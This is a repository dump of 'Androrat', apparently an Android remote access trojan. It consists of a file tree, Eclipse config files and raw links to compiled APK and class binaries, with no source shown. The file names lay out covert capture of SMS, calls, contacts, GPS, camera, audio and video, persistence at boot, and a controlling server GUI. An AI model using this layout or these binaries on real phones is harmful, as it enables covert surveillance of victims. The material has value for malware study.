├── Experiment ├── AndroratActivity │ ├── .classpath │ ├── .directory │ ├── .project │ ├── .settings │ │ └── org.eclipse.jdt.core.prefs │ ├── AndroidManifest.xml │ ├── bin │ │ ├── ActivityAndrorat.apk │ │ ├── Androrat.apk │ │ ├── classes.dex │ │ ├── classes │ │ │ ├── Packet │ │ │ │ ├── AdvancedInformationPacket.class │ │ │ │ ├── CallLogPacket.class │ │ │ │ ├── CallPacket.class │ │ │ │ ├── CallStatusPacket.class │ │ │ │ ├── CommandPacket.class │ │ │ │ ├── ContactsPacket.class │ │ │ │ ├── FilePacket.class │ │ │ │ ├── FileTreePacket.class │ │ │ │ ├── GPSPacket.class │ │ │ │ ├── LogPacket.class │ │ │ │ ├── Packet.class │ │ │ │ ├── PreferencePacket.class │ │ │ │ ├── RawPacket.class │ │ │ │ ├── SMSPacket.class │ │ │ │ ├── SMSTreePacket.class │ │ │ │ ├── ShortSMSPacket.class │ │ │ │ └── TransportPacket.class │ │ │ ├── in │ │ │ │ ├── Demux.class │ │ │ │ └── Receiver.class │ │ │ ├── inout │ │ │ │ ├── Controler.class │ │ │ │ └── Protocol.class │ │ │ ├── my │ │ │ │ └── app │ │ │ │ │ ├── Library │ │ │ │ │ ├── AdvancedSystemInfo$1.class │ │ │ │ │ ├── AdvancedSystemInfo.class │ │ │ │ │ ├── AudioStreamer$1.class │ │ │ │ │ ├── AudioStreamer.class │ │ │ │ │ ├── CallLogLister.class │ │ │ │ │ ├── CallMonitor$1.class │ │ │ │ │ ├── CallMonitor.class │ │ │ │ │ ├── ContactsLister.class │ │ │ │ │ ├── DirLister.class │ │ │ │ │ ├── FileDownloader$1.class │ │ │ │ │ ├── FileDownloader.class │ │ │ │ │ ├── GPSListener.class │ │ │ │ │ ├── PhotoTaker$1.class │ │ │ │ │ ├── PhotoTaker.class │ │ │ │ │ ├── SMSLister.class │ │ │ │ │ ├── SMSMonitor$1.class │ │ │ │ │ ├── SMSMonitor.class │ │ │ │ │ ├── SystemInfo.class │ │ │ │ │ ├── VideoStreaming$1.class │ │ │ │ │ └── VideoStreaming.class │ │ │ │ │ └── activityclient │ │ │ │ │ ├── BuildConfig.class │ │ │ │ │ ├── ClientListener.class │ │ │ │ │ ├── LauncherActivity$1.class │ │ │ │ │ ├── LauncherActivity$2.class │ │ │ │ │ ├── LauncherActivity$3.class │ │ │ │ │ ├── LauncherActivity$ByteArrayFinder.class │ │ │ │ │ ├── LauncherActivity.class │ │ │ │ │ ├── ProcessCommand.class │ │ │ │ │ ├── R$attr.class │ │ │ │ │ ├── R$drawable.class │ │ │ │ │ ├── R$id.class │ │ │ │ │ ├── R$layout.class │ │ │ │ │ ├── R$string.class │ │ │ │ │ ├── R$xml.class │ │ │ │ │ └── R.class │ │ │ ├── out │ │ │ │ ├── Connection.class │ │ │ │ ├── Mux.class │ │ │ │ └── Sender.class │ │ │ └── utils │ │ │ │ ├── Contact.class │ │ │ │ ├── EncoderHelper.class │ │ │ │ ├── MyFile.class │ │ │ │ └── wavIO.class │ │ ├── jarlist.cache │ │ ├── res │ │ │ ├── drawable-hdpi │ │ │ │ └── ic_launcher.png │ │ │ ├── drawable-ldpi │ │ │ │ └── ic_launcher.png │ │ │ ├── drawable-mdpi │ │ │ │ └── ic_launcher.png │ │ │ └── drawable-xhdpi │ │ │ │ └── ic_launcher.png │ │ └── resources.ap_ │ ├── gen │ │ └── my │ │ │ └── app │ │ │ └── activityclient │ │ │ ├── BuildConfig.java │ │ │ └── R.java │ ├── proguard-project.txt │ ├── project.properties │ ├── res │ │ ├── drawable-hdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-ldpi │ │ │ └── ic_launcher.png │ │ ├── drawable-mdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-xhdpi │ │ │ └── ic_launcher.png │ │ ├── layout │ │ │ └── main.xml │ │ ├── values │ │ │ └── strings.xml │ │ └── xml │ │ │ └── preferences.xml │ └── src │ │ └── my │ │ └── app │ │ ├── Library │ │ ├── AdvancedSystemInfo.java │ │ ├── AudioStreamer.java │ │ ├── CallLogLister.java │ │ ├── CallMonitor.java │ │ ├── ContactsLister.java │ │ ├── DirLister.java │ │ ├── FileDownloader.java │ │ ├── GPSListener.java │ │ ├── PhotoTaker.java │ │ ├── SMSLister.java │ │ ├── SMSMonitor.java │ │ ├── SystemInfo.java │ │ └── VideoStreaming.java │ │ └── activityclient │ │ ├── ClientListener.java │ │ ├── LauncherActivity.java │ │ └── ProcessCommand.java └── InOut │ ├── Packet │ ├── AdvancedInformationPacket.java │ ├── CallLogPacket.java │ ├── CallPacket.java │ ├── CallStatusPacket.java │ ├── CommandPacket.java │ ├── ContactsPacket.java │ ├── FilePacket.java │ ├── FileTreePacket.java │ ├── GPSPacket.java │ ├── LogPacket.java │ ├── Packet.java │ ├── PreferencePacket.java │ ├── RawPacket.java │ ├── SMSPacket.java │ ├── SMSTreePacket.java │ ├── ShortSMSPacket.java │ └── TransportPacket.java │ ├── in │ ├── Demux.java │ └── Receiver.java │ ├── inout │ ├── Controler.java │ └── Protocol.java │ ├── out │ ├── Connection.java │ ├── Mux.java │ └── Sender.java │ └── utils │ ├── Contact.java │ ├── EncoderHelper.java │ ├── MyFile.java │ └── wavIO.java ├── README.md ├── doc ├── contact.png ├── gps.png ├── homepanel.png └── main.png └── src ├── Androrat ├── .classpath ├── .project ├── .settings │ └── org.eclipse.jdt.core.prefs ├── AndroidManifest.xml ├── gen │ └── my │ │ └── app │ │ └── client │ │ ├── BuildConfig.java │ │ └── R.java ├── proguard-project.txt ├── project.properties ├── res │ ├── drawable-hdpi │ │ └── ic_launcher.png │ ├── drawable-ldpi │ │ └── ic_launcher.png │ ├── drawable-mdpi │ │ └── ic_launcher.png │ ├── drawable-xhdpi │ │ └── ic_launcher.png │ ├── layout │ │ └── main.xml │ ├── values │ │ └── strings.xml │ └── xml │ │ └── preferences.xml └── src │ └── my │ └── app │ ├── Library │ ├── AdvancedSystemInfo.java │ ├── AudioStreamer.java │ ├── CallLogLister.java │ ├── CallMonitor.java │ ├── ContactsLister.java │ ├── DirLister.java │ ├── FileDownloader.java │ ├── GPSListener.java │ ├── PhotoTaker.java │ ├── SMSLister.java │ ├── SMSMonitor.java │ └── SystemInfo.java │ └── client │ ├── AlarmListener.java │ ├── AndroratActivity.java │ ├── BootReceiver.java │ ├── Client.java │ ├── ClientListener.java │ ├── LauncherActivity.java │ ├── Preference.java │ └── ProcessCommand.java ├── AndroratServer ├── .classpath ├── .project ├── .settings │ └── org.eclipse.jdt.ui.prefs └── src │ ├── gui │ ├── AdvContactGUI.java │ ├── GUI.java │ ├── SMSDialog.java │ ├── User.java │ ├── UserGUI.java │ ├── UserModel.java │ ├── panel │ │ ├── CallLogPanel.java │ │ ├── ColorPane.java │ │ ├── ContactPanel.java │ │ ├── FileTreePanel.java │ │ ├── HomePanel.java │ │ ├── MapPanel.java │ │ ├── MonitorPanel.java │ │ ├── PicturePanel.java │ │ ├── SMSLogPanel.java │ │ ├── SoundPanel.java │ │ └── VideoPanel.java │ └── res │ │ ├── .directory │ │ ├── Drapeau │ │ ├── .directory │ │ ├── AD.png │ │ ├── AE.png │ │ ├── AF.png │ │ ├── AG.png │ │ ├── AI.png │ │ ├── AL.png │ │ ├── AM.png │ │ ├── AO.png │ │ ├── AQ.png │ │ ├── AR.png │ │ ├── AS.png │ │ ├── AT.png │ │ ├── AU.png │ │ ├── AW.png │ │ ├── AZ.png │ │ ├── Algeria.png │ │ ├── BA.png │ │ ├── BB.png │ │ ├── BD.png │ │ ├── BE.png │ │ ├── BF.png │ │ ├── BG.png │ │ ├── BH.png │ │ ├── BI.png │ │ ├── BJ.png │ │ ├── BM.png │ │ ├── BN.png │ │ ├── BO.png │ │ ├── BR.png │ │ ├── BS.png │ │ ├── BT.png │ │ ├── BW.png │ │ ├── BY.png │ │ ├── BZ.png │ │ ├── CA.png │ │ ├── CD.png │ │ ├── CF.png │ │ ├── CG.png │ │ ├── CH.png │ │ ├── CI.png │ │ ├── CIS.png │ │ ├── CK.png │ │ ├── CL.png │ │ ├── CM.png │ │ ├── CN.png │ │ ├── CO.png │ │ ├── CR.png │ │ ├── CU.png │ │ ├── CV.png │ │ ├── CY.png │ │ ├── CZ.png │ │ ├── DE.png │ │ ├── DJ.png │ │ ├── DK.png │ │ ├── DM.png │ │ ├── DO.png │ │ ├── DZ.png │ │ ├── EC.png │ │ ├── EE.png │ │ ├── EG.png │ │ ├── EH.png │ │ ├── ER.png │ │ ├── ES.png │ │ ├── ET.png │ │ ├── EU.png │ │ ├── FI.png │ │ ├── FJ.png │ │ ├── FM.png │ │ ├── FO.png │ │ ├── FR.png │ │ ├── Fiji.png │ │ ├── GA.png │ │ ├── GB.png │ │ ├── GD.png │ │ ├── GE.png │ │ ├── GH.png │ │ ├── GI.png │ │ ├── GM.png │ │ ├── GN.png │ │ ├── GQ.png │ │ ├── GR.png │ │ ├── GT.png │ │ ├── GU.png │ │ ├── GW.png │ │ ├── GY.png │ │ ├── HK.png │ │ ├── HN.png │ │ ├── HR.png │ │ ├── HT.png │ │ ├── HU.png │ │ ├── ID.png │ │ ├── IE.png │ │ ├── IL.png │ │ ├── IN.png │ │ ├── IQ.png │ │ ├── IR.png │ │ ├── IS.png │ │ ├── IT.png │ │ ├── JE.png │ │ ├── JM.png │ │ ├── JO.png │ │ ├── Japan.png │ │ ├── KE.png │ │ ├── KG.png │ │ ├── KH.png │ │ ├── KI.png │ │ ├── KM.png │ │ ├── KN.png │ │ ├── KP.png │ │ ├── KR.png │ │ ├── KW.png │ │ ├── KY.png │ │ ├── KZ.png │ │ ├── LA.png │ │ ├── LB.png │ │ ├── LC.png │ │ ├── LI.png │ │ ├── LK.png │ │ ├── LR.png │ │ ├── LS.png │ │ ├── LT.png │ │ ├── LU.png │ │ ├── LV.png │ │ ├── LY.png │ │ ├── MA.png │ │ ├── MC.png │ │ ├── MD.png │ │ ├── ME.png │ │ ├── MG.png │ │ ├── MH.png │ │ ├── MK.png │ │ ├── ML.png │ │ ├── MM.png │ │ ├── MN.png │ │ ├── MO.png │ │ ├── MR.png │ │ ├── MS.png │ │ ├── MT.png │ │ ├── MU.png │ │ ├── MV.png │ │ ├── MW.png │ │ ├── MX.png │ │ ├── MY.png │ │ ├── MZ.png │ │ ├── Moldova.png │ │ ├── NA.png │ │ ├── NE.png │ │ ├── NG.png │ │ ├── NI.png │ │ ├── NL.png │ │ ├── NO.png │ │ ├── NP.png │ │ ├── NR.png │ │ ├── NZ.png │ │ ├── OM.png │ │ ├── OPEC.png │ │ ├── PA.png │ │ ├── PE.png │ │ ├── PF.png │ │ ├── PG.png │ │ ├── PH.png │ │ ├── PK.png │ │ ├── PL.png │ │ ├── PR.png │ │ ├── PS.png │ │ ├── PT.png │ │ ├── PW.png │ │ ├── PY.png │ │ ├── QA.png │ │ ├── RO.png │ │ ├── RS.png │ │ ├── RU.png │ │ ├── RW.png │ │ ├── Red Cross.png │ │ ├── SA.png │ │ ├── SB.png │ │ ├── SC.png │ │ ├── SD.png │ │ ├── SE.png │ │ ├── SG.png │ │ ├── SI.png │ │ ├── SK.png │ │ ├── SL.png │ │ ├── SM.png │ │ ├── SN.png │ │ ├── SO.png │ │ ├── SR.png │ │ ├── ST.png │ │ ├── SV.png │ │ ├── SY.png │ │ ├── SZ.png │ │ ├── TC.png │ │ ├── TD.png │ │ ├── TG.png │ │ ├── TH.png │ │ ├── TJ.png │ │ ├── TL.png │ │ ├── TM.png │ │ ├── TN.png │ │ ├── TO.png │ │ ├── TR.png │ │ ├── TT.png │ │ ├── TV.png │ │ ├── TW.png │ │ ├── TZ.png │ │ ├── Togo.png │ │ ├── Tonga.png │ │ ├── Turks and Caicos Islands.png │ │ ├── Tuvalu.png │ │ ├── UA.png │ │ ├── UG.png │ │ ├── US.png │ │ ├── UY.png │ │ ├── UZ.png │ │ ├── VC.png │ │ ├── VE.png │ │ ├── VG.png │ │ ├── VI.png │ │ ├── VN.png │ │ ├── VU.png │ │ ├── Venezuela.png │ │ ├── WS.png │ │ ├── Wales.png │ │ ├── YE.png │ │ ├── ZA.png │ │ ├── ZM.png │ │ ├── ZW.png │ │ └── default.jpeg │ │ ├── Jesus.jpeg │ │ ├── People.png │ │ ├── androrat_logo_32pix.png │ │ ├── disable-sound.png │ │ ├── disableSound.png │ │ ├── edit_add.png │ │ ├── edit_remove.png │ │ ├── enableSound.png │ │ ├── gtk-media-pause.png │ │ ├── gtk-media-play-ltr.png │ │ ├── gtk-media-record.png │ │ ├── gtk-media-stop.png │ │ ├── note.bmp │ │ ├── play.png │ │ ├── sound.png │ │ ├── stop.jpg │ │ ├── stop.png │ │ └── stop2.png │ ├── handler │ ├── AdvInfoHandler.java │ ├── CallLogHandler.java │ ├── CallMonitorHandler.java │ ├── ChannelDistributionHandler.java │ ├── ClientLogHandler.java │ ├── CommandHandler.java │ ├── ContactsHandler.java │ ├── FileHandler.java │ ├── FileTreeHandler.java │ ├── GPSHandler.java │ ├── PacketHandler.java │ ├── PictureHandler.java │ ├── PreferenceHandler.java │ ├── SMSHandler.java │ ├── SMSMonitorHandler.java │ ├── SoundHandler.java │ ├── TemporaryStorage.java │ └── VideoHandler.java │ └── server │ ├── ClientHandler.java │ └── Server.java ├── InOut ├── Packet │ ├── AdvancedInformationPacket.java │ ├── CallLogPacket.java │ ├── CallPacket.java │ ├── CallStatusPacket.java │ ├── CommandPacket.java │ ├── ContactsPacket.java │ ├── FilePacket.java │ ├── FileTreePacket.java │ ├── GPSPacket.java │ ├── LogPacket.java │ ├── Packet.java │ ├── PreferencePacket.java │ ├── RawPacket.java │ ├── SMSPacket.java │ ├── SMSTreePacket.java │ ├── ShortSMSPacket.java │ └── TransportPacket.java ├── in │ ├── Demux.java │ └── Receiver.java ├── inout │ ├── Controler.java │ └── Protocol.java ├── out │ ├── Connection.java │ ├── Mux.java │ └── Sender.java └── utils │ ├── Contact.java │ ├── EncoderHelper.java │ ├── MyFile.java │ └── wavIO.java └── api ├── JMapViewer.jar ├── README.txt ├── forms-1.3.0.jar ├── jna-3.4.0.jar ├── platform-3.4.0.jar └── vlcj-2.1.0.jar /Experiment/AndroratActivity/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/.directory: -------------------------------------------------------------------------------- 1 | [Dolphin] 2 | Timestamp=2012,6,10,18,12,40 3 | Version=2 4 | 5 | [Settings] 6 | ShowDotFiles=true 7 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | ActivityAndrorat 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | 35 | INOUT_LIBRARY 36 | 2 37 | INOUT_LIBRARY 38 | 39 | 40 | 41 | 42 | INOUT_LIBRARY 43 | $%7BPARENT-1-PROJECT_LOC%7D/InOut 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 3 | org.eclipse.jdt.core.compiler.compliance=1.5 4 | org.eclipse.jdt.core.compiler.source=1.5 5 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/ActivityAndrorat.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/ActivityAndrorat.apk -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/Androrat.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/Androrat.apk -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes.dex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes.dex -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/AdvancedInformationPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/AdvancedInformationPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/CallLogPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CallLogPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/CallPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CallPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/CallStatusPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CallStatusPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/CommandPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CommandPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/ContactsPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/ContactsPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/FilePacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/FilePacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/FileTreePacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/FileTreePacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/GPSPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/GPSPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/LogPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/LogPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/Packet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/Packet.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/PreferencePacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/PreferencePacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/RawPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/RawPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/SMSPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/SMSPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/SMSTreePacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/SMSTreePacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/ShortSMSPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/ShortSMSPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/Packet/TransportPacket.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/TransportPacket.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/in/Demux.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/in/Demux.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/in/Receiver.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/in/Receiver.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/inout/Controler.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/inout/Controler.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/inout/Protocol.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/inout/Protocol.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/CallLogLister.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/CallLogLister.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/ContactsLister.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/ContactsLister.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/DirLister.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/DirLister.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/GPSListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/GPSListener.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/SMSLister.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSLister.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/SystemInfo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SystemInfo.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/BuildConfig.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/BuildConfig.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/ClientListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/ClientListener.class -------------------------------------------------------------------------------- 